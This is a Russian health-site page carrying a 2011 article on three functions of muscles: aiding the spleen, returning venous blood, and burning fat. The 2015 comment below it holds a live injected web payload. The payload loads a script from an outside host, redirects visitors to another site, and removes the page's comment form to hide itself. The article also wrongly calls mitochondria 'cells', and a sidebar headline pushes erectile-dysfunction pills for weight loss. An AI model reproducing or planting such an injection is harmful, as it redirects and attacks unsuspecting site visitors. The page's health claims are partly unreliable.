Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  3 секретные функции мышц  >>  3 секретные функции мышц
 
Обратная связь
 

3 секретные функции мышц

Размер шрифта
23 декабря 2011 07:13
  • google_analytics: false
  • Нравится

Для чего человеку мышцы? На этот элементарный вопрос можно дать три неожиданных ответа: чтобы чистить кровь, чтобы продвигать ее по венам и чтобы сжигать жиры. Подробности в материале.

Мышцы необходимы для нормальной работы селезнки

Селезенка очищает кровь от вредных веществ, в ней собираются все погибшие эритроциты, а гемоглобин из них используется для созревания новых эритроцитов - уже в костном мозге. Благодаря мышцам брюшной стенки и диафрагмы селезенка сокращается, выталкивая «обновленную» кровь обратно в кровеносную систему.

Мышцы необходимы для нормальной работы вен

Кровь по венам двигается вверх, к сердцу, благодаря сокращению скелетных мышц, окружающих вены. Если же мышцы не сокращаются, то происходит застой крови в венах нижних конечностей. Это приводит к нарушению кислородного обмена и питания тканей.

Если у вас сидячая работа, и мышцы расслаблены, постарайтесь в течение дня 5-10 раз встать на цыпочки. Так вы заставите сокращаться мышцы голеней, а значит, эластичность вен повысится. Кроме того, мелкие и средние вены снабжены клапанами, которые препятствуют обратному току крови, и благодаря несложным упражнениям они вновь начинают функционировать. Венозный застой проходит.

Мышцы необходимы для сжигания жира

В мышцах есть особые клетки, митохондрии, в которых жирные кислоты расщепляются, превращаясь в энергию для тканей организма. Если человек часто занимается спортом, число митохондрий в мышцах увеличивается. А значит, мышцы активней потребляют кислород и лучше сжигают жиры.

Видеосюжеты по теме:

Мышцы. Зачем они нам нужны


 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:02

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как предотвратить варикоз   В одном месте не похудеешь-2   Мифы про мясо. Не питайтесь иллюзиями!   Самые популярные мифы о диабете  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 17 июля 2013Будет ли ваш ребенок толстым – теперь это можно понять уже в 2 месяца!
 
05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная? 28 июня 2013Хотите похудеть – пейте таблетки от эректильной дисфункции!
 

Слайдшоу

1
Женские болезни
Миостимулятор OMRON E4
Миостимулятор OMRON E2

Тесты

1
Есть ли у вас варикозное расширение вен?
Что вы знаете о мышцах?
Есть ли у вас избыточный вес?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.